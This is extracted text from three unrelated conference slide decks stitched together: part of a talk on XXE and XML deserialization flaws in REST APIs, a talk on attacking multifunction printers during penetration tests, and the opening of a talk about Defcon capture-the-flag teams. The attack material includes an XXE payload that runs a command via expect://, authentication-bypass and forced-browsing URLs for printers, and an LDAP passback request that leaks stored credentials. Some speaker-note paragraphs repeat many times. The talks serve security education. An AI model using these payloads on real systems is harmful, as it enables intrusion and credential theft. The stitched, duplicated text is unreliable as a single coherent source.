<?xml encoding=“utf-8” ?>
<!DOCTYPE Customer [<!ENTITY y SYSTEM ‘expect://ls’> ]>
<Customer>
<name>&y;</name>
</Customer>
*See XXE: advanced exploitation, d0znpp, ONSEC
*expect protocol requires pexpect module to be loaded in PHP
*joernchen has another example at
https://gist.github.com/joernchen/3623896
XXE Today
• At one time most REST frameworks were
vulnerable to XXE
• But newer versions have patched this
vulnerability.
• For more information Timothy Morgan is giving a talk at
AppSec USA titled, “What You Didn’t Know About XML
External Entities Attacks”.
XML Serialization Vulns
• Every REST API allows the raw input of XML to be
converted to native objects. This deserialization
process can be used to execute arbitrary code on
the REST server.
Understanding XML Serialization
• Mainly Three Mechanisms Used by Server Logic
– Server looks where to go before going
• Create an object based on the target type defined in the
application then assign values from the xml to that instance
– Server asks user where to go
• Create and object based on a user specified type in the
provided XML then assign values (to public or private fields)
from the xml to that instance, finally cast the created object to
the target type defined in the application
– Server asks user where to go and what to do
• Create and object based on a user specified type in the
provided XML then assign values from the xml to that instance,
allow object assignments and invoke arbitrary methods on the
newly created instance, finally cast the created object to the
target type defined in the application
Vulnerable XML Serialization APIs
• In our research we found one API that “asks the
user where to go”:
– XStream
• More limited
• Cannot invoke methods
• Relies on existing APIs to trigger the code execution
• And another that “asks the user where to go and
what to do”:
– XMLDecoder
• Unrestricted
• execute arbitrary methods on newly created objects which are
defined in the input
• Near Turning complete
XML Serialization Remote Code
Execution – XStream (Demo)
• new XStreamRepresentation(…)
• <bean id="xstreamMarshaller“
class="org.springframework.oxm.xstream.XStreamM
arshaller">
• Alvaro Munoz figured this out
XML Serialization Remote Code
Execution – XMLDecoder(Demo)
•
new ObjectRepresentation
•
Direct Usage of XMLDecoder*
XMLDecoder dec = new XMLDecoder(
new ByteArrayInputStream(bad_bytes));
values = (List<YourObject>) dec.readObject();
•
If you notice that XMLDecoder file is processed by backend systems
then you have a serious compromise by anyone who maliciously
controls the XML
– Look for the following in your XML
<java class="java.beans.XMLDecoder">
<object class="Customer" id="Customer0">
*Modified Version of code from the chapter “A RESTful version of the Team
Services” of “Java Web Services: Up and Running” by Martin Kalin
XML Serialization Remote Shell (Demo)
Conclusion
• By now you should agree that
publically exposed or internal REST APIs
probably have remote code execution or data
exfiltration issues.
Questions
? | pdf |
FROM PRINTER TO PWND
Leveraging Multifunction Printers
During Penetration Testing
INTRODUCTION
From Dayton Ohio region
Last 18 years in IT
10 year in security
3 of those as a security penetration tester
Member of foofus.net team
3rd time presenting at Defcon w00t!
AGENDA
Multi function printer features
Multi function printer security
Attacking multi function printer devices
Leveraging these attacks during pentesting
Development of an automated harvesting tool
Conclusion & Question
MULTI FUNCTION PRINTER
FEATURES
MULTI FUNCTION PRINTER FEATURES
Scan to File
Window file server access
FTP server access
Scan to Email
Email server SMTP access
Email Notification
Email server SMTP access
MULTI FUNCTION PRINTER FEATURES
LDAP authentication services
User address books
System logging
Remote functionality
Backup/cloning
MULTI FUNCTION PRINTER
SECURITY
MULTI FUNCTION PRINTER SECURITY
Four steps to security failure
Roll it in and power it up
Integrate with business systems
Passwords
No password set
Factory default setting
No patch management
ATTACKING
MULTI FUNCTION PRINTER
DEVICES
ATTACKING MULTI FUNCTION PRINTERS
Why
Gather information
Escalation rights into other core systems
When
If exposed to internet
Once you gain a foot hold into internal network
ATTACKING MULTI FUNCTION PRINTERS
How
Leveraging default password
Access bypass attacks
Information leakage attacks
Forceful browsing attacks
Backup/cloning functions
Passback attack
MFP SECURITY BYPASS ATTACK
The ability to bypass authentication on a device
by passing various forms of data in the URL
Toshiba
HP
/TopAccess/Administrator/Setup/ScanToFile/List.htm
Redirects to /TopAccess/Administrator/Login/Login.htm
TOSHIBA BYPASS ATTACK
/TopAccess//Administrator/Setup/ScanToFile/List.htm
TOSHIBA BYPASS ATTACK
HP OFFICEJET BYPASS ATTACK
DEMO
MFP INFORMATION LEAKAGE ATTACKS
MFP devices exposing data unintentionally. Data of
value can typically be extracted from web page source
code.
Toshiba
Canon
HP
Sharp
TOSHIBA INFORMATION LEAKAGE ATTACK
TOSHIBA INFORMATION LEAKAGE ATTACK
HP INFORMATION LEAKAGE ATTACK
MFP FORCED BROWSING ATTACK
Access to web pages and files are gained by just
knowing the correct URL path
Not uncommon to find that embedded devices
such as printers correctly secure files with
extensions of
cgi
htm
html
But may allow access to other file types
CANON FORCED BROWSING
Canon ImageRunners address books can be retrieved
through forceful browsing
Once a valid cookie is gained the address books can
be retrieved without authenticating
A valid cookie is gained by accessing
the printers home page
Fails on devices with a Product Name
ir3580
ir4080
CANON FORCED BROWSING
Force browse to address books
abook.ldif
abook.abk
imagerunners have by default up to 11 address books
Increment up to gain access to all address books
CANON FORCED BROWSING
MFP PASSBACK ATTACK
Passback attack
An attack where the MFP device is tricked into
communicating with the attacker, versus communicating
with its standard configured services
Number of printers have test functions for testing LDAP
configuration setups
May also be possible on other services
MFP PASSBACK ATTACK
Printer
LDAP
Server
Attacker
LDAP Test Button
Auth to
LDAP
Change LDAP
server IP Setting
LDAP Test Button
LDAP auth to
attacker
SHARP PASSBACK ATTACK
Sharp MX series support these test
functions for:
LDAP
SMTP
Attacker can send all setting within
HTTP(s) post request
If password is left at *******
then stored password is used
SHARP PASSBACK ATTACK
SHARP PASSBACK ATTACK
Post values of interest
Server IP Address
(ggt_textbox(21)
AUTH TYPE
ggt_select(25)
PORT Number
ggt_hidden(30)
SHARP PASSBACK ATTACK
RICOH PASSBACK ATTACK
Similar issue at the Sharp
printers
Easily tricked in passing data
back to the attacker
RICOH PASSBACK ATTACK
RICOH PASSBACK ATTACK
paramControl=INPUT&urlLang=en&urlProfile=entry&urlScheme=HTTP&returnValue=SUC
CESS&title=LDAP_SERVER&availability=nameonserverNameonsearchPointonportNumon
sslonauthonuserNameonpasswordonkerberosonconnectTestonsearchNameonmailAddres
sonfaxNumoncompanyNameonpostNameonoptionalSearchConditionon&authInfo=false&l
dapServerNumSelectedOut=1&entryNameOut=ACMECD01&serverNameOut=10.80.105.
200&searchPointOut=DC%3Dacme&portNumOut=389&enableSSLOut=false&enableAut
hOut=RADIO_NO_AUTHRADIO_PLAIN_AUTH_ONRADIO_DIGEST_AUTH_ONRADIO_KERBER
OS_ONRADIO_PLAIN_AUTH_ON&userNameOut=LDAPAdmin&isRealmKeyNameOut=1111
1&realmNameOut=UA_NOT_LOGINUA_NOT_LOGINUA_NOT_LOGINUA_NOT_LOGINUA_NOT
_LOGIN0&searchNameOut=cn&searchMlAddOut=mail&searchFaxNumOut=facsimileTele
phoneNumber&searchCompanyNameOut=o&searchPostNameOut=ou&searchAttrOut=&s
earchKeyOut=&entryName=ACMECD01&serverName=10.80.105.200&searchPoint=DC%
3Dacme&portNum=389&enableSSL=false&enableAuth=RADIO_PLAIN_AUTH_ON&userN
ame=LDAPAdmin&searchName=cn&searchMlAdd=mail&searchFaxNum=facsimileTeleph
oneNumber&searchCompanyName=o&searchPostName=ou&searchAttr=&searchKey=
/web/entry/en/websys/ldapServer/ldapServerSetConfirmTest.cgi
MFP BACKUP/CLONING
Extracted information from backup data
A number of MFP devices provide a method to
backup/clone system configuration
This function prides a method to quickly deploy
multiple devices throughout an organization
without needing physical access to each devices
CANON BACKUP EXPORT
Additional functions export
Usermode.umd
http://MFP/usermode.umd
Usermode.umd is a data file but
does contain ascii
XEROX
DEMO
‘PRAEDA’
BUILDING AN AUTOMATED
HARVESTING TOOL
‘PRAEDA’ AUTOMATED HARVESTING TOOL
PRAEDA latin for “plunder, spoils of war,
booty”
Tool designed to gather information from web
interfaces on printers
Present version written in Perl
‘PRAEDA’ AUTOMATED HARVESTING TOOL
Present version
16 modules
Extract data from 39 different printers models
Canon
Xerox
Toshiba
Sharp
HP
Ricoh
‘PRAEDA’ AUTOMATED HARVESTING TOOL
‘PRAEDA’ AUTOMATED HARVESTING TOOL
Data file (DATA_LIST)
1st field (P000032) = sequence number
2nd field (Top Page – MX-2600N) = Title page
3rd field (Rapid Logic/1.1) = Server type
4th field (MP0014) = Module to execute
‘PRAEDA’ AUTOMATED HARVESTING TOOL
DISPATCHER (PRAEDA.PL)
Syntax
“praeda.pl TARGET_FILE TCP_PORT PROJECT_NAME OUTPUT_FILE (-ssl)”
Queries printers in target list
If a match is found in data_list module jobs
listed in 4th column are executed
Recovered data is stored in logs file or separate
extract files under project name
‘PRAEDA’ AUTOMATED HARVESTING TOOL
Praeda project moving forward
Continue researching encryption methods used by some vendors for
backup and clone process outputs
HP
Xerox
Working migrating code to Ruby – early stages of
conversion started
Will continue developing in Perl for the moment
Looking for contributors for project
Develop other network appliance modules besides printers –
plan to release a half dozen or more modules next month
CONCLUSION & QUESTION
Deral Heiland
[email protected]
[email protected]
Praeda Beta version 0.01.2b
available for download from
www.foofus.net | pdf |
Maximum CTF
Get the most from capture the flag
Friday, July 31, 2009
capture the flag
(Two Toy Soldiers)
http://www.flickr.com/photos/janramroth/2264184078/
http://creativecommons.org/licenses/by/2.0/deed.en
jot.punkt
planet
"Hack the ______"
lightning round
Friday, July 31, 2009
Trivia 100 from 2006 qualifier. And yeah this should be insanely obvious. The funny part
though is that the next year, the 100 point question was
The thunder and lightning
RonAlmog
http://www.flickr.com/photos/ronalmog/2053473900/
http://creativecommons.org/licenses/by/2.0/deed.en
planet
"Hack the ______"
lightning round
Friday, July 31, 2009
Trivia 100 from 2006 qualifier. And yeah this should be insanely obvious. The funny part
though is that the next year, the 100 point question was
The thunder and lightning
RonAlmog
http://www.flickr.com/photos/ronalmog/2053473900/
http://creativecommons.org/licenses/by/2.0/deed.en
Hack
"_____ the planet"
lightning round
Friday, July 31, 2009
And likewise, the year after that:
Hack
"_____ the planet"
lightning round
Friday, July 31, 2009
And likewise, the year after that:
"Hack ___ planet"
the
lightning round
Friday, July 31, 2009
A fair amount of CTF has been inside jokes and homages to years past. If you plan on
participating, check out and practice on previous years answers and writeups as they will
make your life much easier.
"Hack ___ planet"
the
lightning round
Friday, July 31, 2009
A fair amount of CTF has been inside jokes and homages to years past. If you plan on
participating, check out and practice on previous years answers and writeups as they will
make your life much easier.
psifertex
Friday, July 31, 2009
Hi, I’m psifertex, this is my bio. The parts that matter, anyway.
Photo copyright my dad -- used with permission, licensed the same as the presentation..
Friday, July 31, 2009
It’s probably not surprising that I prefer Linux over Windows, though the older and lazier I
get, the more Steve Jobs takes my money.
Friday, July 31, 2009
It’s probably not surprising that I prefer Linux over Windows, though the older and lazier I
get, the more Steve Jobs takes my money.
Friday, July 31, 2009
It’s probably not surprising that I prefer Linux over Windows, though the older and lazier I
get, the more Steve Jobs takes my money.
Friday, July 31, 2009
For editor, my choice is Vim over Emacs
Friday, July 31, 2009
For editor, my choice is Vim over Emacs
over
under
Friday, July 31, 2009
Also important, I prefer over, over under.
TP
Dano
http://www.flickr.com/photos/mukluk/249464276/
http://creativecommons.org/licenses/by/2.0/deed.en
over
under
Friday, July 31, 2009
Also important, I prefer over, over under.
TP
Dano
http://www.flickr.com/photos/mukluk/249464276/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
Python over Ruby
Friday, July 31, 2009
Python over Ruby
Friday, July 31, 2009
Pepsi over Coke, but bawls over both.
Probably more relevant to this talk though, I’m a member of
Friday, July 31, 2009
Pepsi over Coke, but bawls over both.
Probably more relevant to this talk though, I’m a member of
1@stplace
Friday, July 31, 2009
this capture the flag team.
It’s pronounced “last place”, and we’ve been very lucky to have won the Defcon CTF a couple
times.
1@stplace
our team captain’s
handle is “@tlas”
if the replacement of
letters with numbers and
symbols doesn’t make
sense to you, it’s probably
best to quietly leave the
room now
the team name can be
read “last place” or
“first place”,
ambiguously
we wanted to cover
our bases
Friday, July 31, 2009
this capture the flag team.
It’s pronounced “last place”, and we’ve been very lucky to have won the Defcon CTF a couple
times.
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
1@stplace
Friday, July 31, 2009
Here’s a decent shot of everybody on the team except for two members.
I’m partially visible here in the back, and the rest of the team is:
Plato -- likely the only lawyer who ever has or ever will win CTF
@tlas -- team captain and individual CTF winner in 2005
Mezzendo -- dual network sniffer in addition to defending
Shiruken -- sysadmin extraordinaire (and always the life of IRC during quals whether we’re
competing or not)
Fury -- or his twin, you gotta watch out for twins, defender
Doc Brown -- reverser/exploiter par excellence and maintainer of nopsr.us
Wrffr -- a secret weapon who gets very little recognition outside the group, but is an
incredible reverser/exploiter with a long CTF history.
I mentioned Apu was missing in this photo, he has the distinction of acting not only as a
network monitor and defender, but also as our physical security coordinator, utilizing his ex-
marine skills.
Jrod, also missing from this picture, is another strong contributer to the exploitation side of
things, and a frequent Defcon and BlackHat presenter/trainer.
As for me, I must not be too good at anything yet since I’ve bounced from defense to offense
and everything in between over the years. Fortunately, they keep letting me hang around
anyway.
photo used with permission from Dave Bullock, eecue.com
CTF
Friday, July 31, 2009
Capture the flag is the ultimate hacking game (legal one, anyway). It requires reverse
engineering and exploiting dozens of never-before-seen network-services all while
defending, monitoring, patching, and generally going crazy over the course of two and a half
days.
254 pirate flag
leadfoot
http://www.flickr.com/photos/mom320/2332456130/
http://creativecommons.org/licenses/by/2.0/deed.en
Friday, July 31, 2009
Hopefully you saw the previous presentation, with a bit more detail on the history of CTF. If
not, grab the video when it gets put online.
There were essentially three different groups who ran CTF. From DEFCON 4 to DEFCON 8
BOFH (Defcon Goons) ran it, with a couple of different styles, but it was mostly free-for-all
mayhem.
(??)
Friday, July 31, 2009
Then from DEFCON 9 to DEFCON 12, the Ghetto Hackers took over and eventually revamped
the basic structure to the one we know today where a select group of teams maintain their
own identical (at the start) virtual machine and attack everyone else’s. Additionally, they
added the concept of the now-common qualifier round in 2004.
Friday, July 31, 2009
Finally, the illustrious Kenshoto assumed control from DEFCON 13 to DEFCON 16, refining
and tweaking the game design with a splash of game theoretics and a bunch of very slick
architectures. Not only did they have some impressive challenges, but they provided many
other bits of fun as the annual tossing of the cookies (fortune cookies with custom hidden
messages being tossed from their balcony).
Friday, July 31, 2009
And finally, this year we have DDTEK (Diutinus Defense Technologies Corp), whose qualifier
round was indeed very similar to the Kenshoto qualifiers of years past and most likely a very
similar CTF is underway as I speak.
Friday, July 31, 2009
This year and the previous five CTFs have included a qualifier round. Because the event itself
is so popular, the qualifier round ensures that the playing field is narrowed before the event
even starts.
Here’s the final score board for DDTEK’s 2009 qualifying round that ran for 48 straight hours
starting June 5 at 2300 UTC.
知彼知己,
百戰不殆
-Sun Tzu
Friday, July 31, 2009
What’s a good security presentation without a Sun Tzu quote?
I’m sure it says something very wise about winning.
If you want to compete at next year’s CTF, ten of your most likely opponents are competing
in the other room right now, so let’s take a look at those teams now, presented in the order
they qualified in.
sk3wl of r00t
Friday, July 31, 2009
Winners of the 2004 and 2008 Defcon CTF, sk3wl of r00t is primarily composed of students
from the Naval Postgraduate School (http://www.nps.edu/). The team captains are Jon Boss
(BossMan) who keeps things running smoothly and frees up the other captain, Chris Eagle
(sk3wlm4st3r) who is an outright binary ninja and pirate rolled into one. Incredibly difficult
challenges have been created solely to give him some entertainment.
They dominate early and often in both quals and finals, last year putting up a true beat-down
on the rest of the competition when they were able to effectively make use of their large team.
That may have been in no small part due to Eagle’s Collabreate Tool (http://
www.idabook.com/collabreate/), a collaborative plugin to the IDA Disassembler. Which he
graciously released as open source... immediately after the competition ended. That was one
of Eagle’s many great hacks.
CTF Winners
Leduardo
http://www.flickr.com/photos/leduardo/2755245443/
http://creativecommons.org/licenses/by/2.0/deed.en
team awesome
Friday, July 31, 2009
(aka VedaGodz) Composed of mostly first-timers to the CTF scene, they led for much of the
qualifiers, but succumbed to sk3wl’s might at the end. Sk3wl was likely being gracious as
the previous winners because the previous years CTF winner typically has an automatic entry
into the next final. It’s very gentlemanly of them then to not take control of the board and
influence the qualifiers, so no one knows exactly how much they were holding back.
Another big question mark will be how TeamA performs during the final. Being good at quals
is often a very different thing from dealing with the environment and different challenges
during the big dance.
I do have some friends on this team, so while 1@stplace is on a hiatus this year, you’ll likely
see me hanging out with these guys.
Domo photo used with permission, Team Awesome.
sexy
pandas
Friday, July 31, 2009
AKA Pandas with Gambas
AKA Osu, Tatakae, Sexy Pandas!
AKA, woobi woobi pandas
AKA, Sexy Pwndas
AKA, Ailuropoda Melanoleucas
http://sexy.pandas.es/blog/
These Spaniards have often been cursed with a great start and a poor finish during finals, but
they definitely don’t lack for solid reversing and exploitation skills. They’ve made strong
showings in a number of other CTFs and are always a threat, especially if they can keep the
tempo they usually start with. Their strong finish in this years quals is a good indicator of
the quality of their team.
Team photo from Hanzo and used with Permission.
PLUS@postech
Friday, July 31, 2009
http://www.plus.or.kr/zbxe/
http://postech.ac.kr/
One of the many ROK (Republic of Korea) teams that have been storming the top 10 in recent
years, PLUS is back this year after a one year hiatus. Plus is primarily made up of
undergraduates from Postech (the Pohang University of Science and Technology).
Friday, July 31, 2009
http://shellphish.net
Formed from a group out of the University of California Santa Barbara, and led by Giovanni
Vigna, Shellphish is a permanant fixture of many CTFs (Defcon and otherwise). Additionally,
the group runs the iCTF, the International Capture the Flag primarily for academic groups
world-wide (http://ictf.cs.ucsb.edu/). Shellphish is a staple of the CTF scene, winning in
2005, and participating in many other finals as well.
Screenshot from http://shellphish.net/
song of
freedom
송오브프리덤
Friday, July 31, 2009
Song of Freedom
송오브프리덤
Yet another among the Korean Power houses
ROFL:ROFL:LOL:ROFL:ROFL
Λ
L ∕ [ ] \
LOL=== \
L \ /
I I
——————————————/
lollerskaterz
dropping from
roflcopters
_
__ ( }
'---. _`---,
___/ /
/,---'\ \
/ /
'LOL
Friday, July 31, 2009
Lollerskaterz is a diverse collection of international friends that has changed membership
over the years, from the small 3-person team that stormed the 2007 Quals, to the current
larger team (they expected to bring five here currently, and might add a few others while
they’re here)
While most teams have their compositions fixed, there are occasionally smaller teams
interested in picking up some ronin, so if you have a strong interest in playing but aren’t on a
qualified team, be patient, polite and ask around, and you might be able to join a team with
open seats, but be warned that for many teams, it’s unlikely if you don’t know someone on it.
ROFL:ROFL:LOL:ROFL:ROFL
Λ
L ∕ [ ] \
LOL=== \
L \ /
I I
——————————————/
lollerskaterz
dropping from
roflcopters
_
__ ( }
'---. _`---,
___/ /
/,---'\ \
/ /
'LOL
Friday, July 31, 2009
Lollerskaterz is a diverse collection of international friends that has changed membership
over the years, from the small 3-person team that stormed the 2007 Quals, to the current
larger team (they expected to bring five here currently, and might add a few others while
they’re here)
While most teams have their compositions fixed, there are occasionally smaller teams
interested in picking up some ronin, so if you have a strong interest in playing but aren’t on a
qualified team, be patient, polite and ask around, and you might be able to join a team with
open seats, but be warned that for many teams, it’s unlikely if you don’t know someone on it.
routards
hanzo
fetard
vicelard
grincheux
rebel
prof
joyeux
poueteur
dormeur
sorcier{
Friday, July 31, 2009
Started two years ago with a core group from France, the Routards have expanded their
membership in recent years to include members from Switzerland and Belgium as well. Now
it’s easiest to simply describe them as a French-speaking team.
Mostly made up of InfoSec professionals doing CTF for fun, the team is led by hanzo, and I’ll
spare you my mangled pronunciation of the rest of the team member’s handles!
One interesting bit of trivia; the routards are only one of three teams to have made it to all
three of the last three years worth of finals along with the sexy pandas and sk3wl of r00t).
와우해커
Friday, July 31, 2009
http://wowhacker.org/
Another of the Korean teams -- I dunno what’s in the water over there, but I hear that
Starcraft is considered a real sport there. Any place where that’s the case I imagine you’d
have to get a bunch of awesome hackers.
graz
hex
jvprat
KOrUPt
mongii
Philkill
Razed
seoman
singi
t1g3r
whats
Friday, July 31, 2009
http://www.sapheads.org/ (t1g3r)
http://korupt.co.uk/ (korupt)
Sapheads are another recent entry to the lineup of usual suspects, and are a meta-team
composed of three other smaller groups that came together:
AIAFNFASG (AIAFNFASG Is Another Fucking Name For A Security Group)
WiseguyS@Hackerschool
Binary Devils
They’re also behind an incredibly cool comic-book style writeup for one of this years
challenges, definitely make sure to check that out.
\xEB\xFE is to x86
as
____________ is to PPC
\x48\x00\x00\x00
lightning round
Friday, July 31, 2009
If you saw this one during previous CTF quals, let someone else answer it...
\xEB\xFE is an infinite loop, a jmp back to itself.
PPC has no jumps, but an unconditional branch is
\x48\x00\x00\x00
\xEB\xFE is to x86
as
____________ is to PPC
\x48\x00\x00\x00
lightning round
Friday, July 31, 2009
If you saw this one during previous CTF quals, let someone else answer it...
\xEB\xFE is an infinite loop, a jmp back to itself.
PPC has no jumps, but an unconditional branch is
\x48\x00\x00\x00
mechanics
Friday, July 31, 2009
As far as the game mechanics go, here’s the rundown:
First, the difference between Quals and the Finals, which I’ve mentioned briefly, but haven’t
explained yet.
They are two very different events. While there is definitely some skill overlap, it doesn’t
always transfer.
Quals are more linear, they’re non-stop, and there’s a lot more variety to the type of
problems. There’s no defense, and a wider variety of esoteric topics and skills are usually
covered.
Mechanics at Charles Street Shops, 1956
Seattle Municipal Archives
http://www.flickr.com/photos/seattlemunicipalarchives/3576509006/
http://creativecommons.org/licenses/by/2.0/deed.en
Qualifier
CTF
Style
Timing
Location
Teams
Spoils
Q&A with attack of
shared services
Defend from and attack
against other teams
48 hours straight
(Fri-Sun before DC)
10 + 10 + 6 hours
(Fri-Sun at Defcon)
Remote
Riviera // Las Vegas
(aka, next-door)
200+
8-10
Entry to CTF
Black badge, leather
jacket, dates, prestige
Friday, July 31, 2009
Here’s a better breakdown -- of course, the exact details change each time. This is the first
year with 10 teams participating in the finals, and the exact hours per day in the finals
fluxuates somewhat. Some years it’s even been non-stop at defcon itself too
Friday, July 31, 2009
Here’s a screenshot of this year’s qualifier board. DDTEK definitely up’ed the ante, providing
a whopping 30 challenges in the categories pursuits trivial, crypto badness, packet madness,
binary l33tness, pwtent pwnables, and forensics.
While there’s a lot of overlap between the qualifier game and the final game, they’re really
fairly different. It’s possible to be very good at one, but not as good at the other.
big show
Friday, July 31, 2009
The top 7 or 9 teams (along with the previous year’s winning team that gets an automatic
berth) from the qualifiers make it to the main event.
At the finals, every team gets their own identical server, and they must not only defend their
server, but attack all of their opponents as well. While there are some general preparation
that can occur, most of the time it’s all on-the-fly patching and exploitation against custom,
never-before-seen services.
A general framework for automated exploitation and key-submission is nice, but don’t put
too much work into it in case you get a curve-ball like DTMF key submission process like the
one from 2006.
Be prepared to possibly serve as the network infrastructure between your VM and the rest of
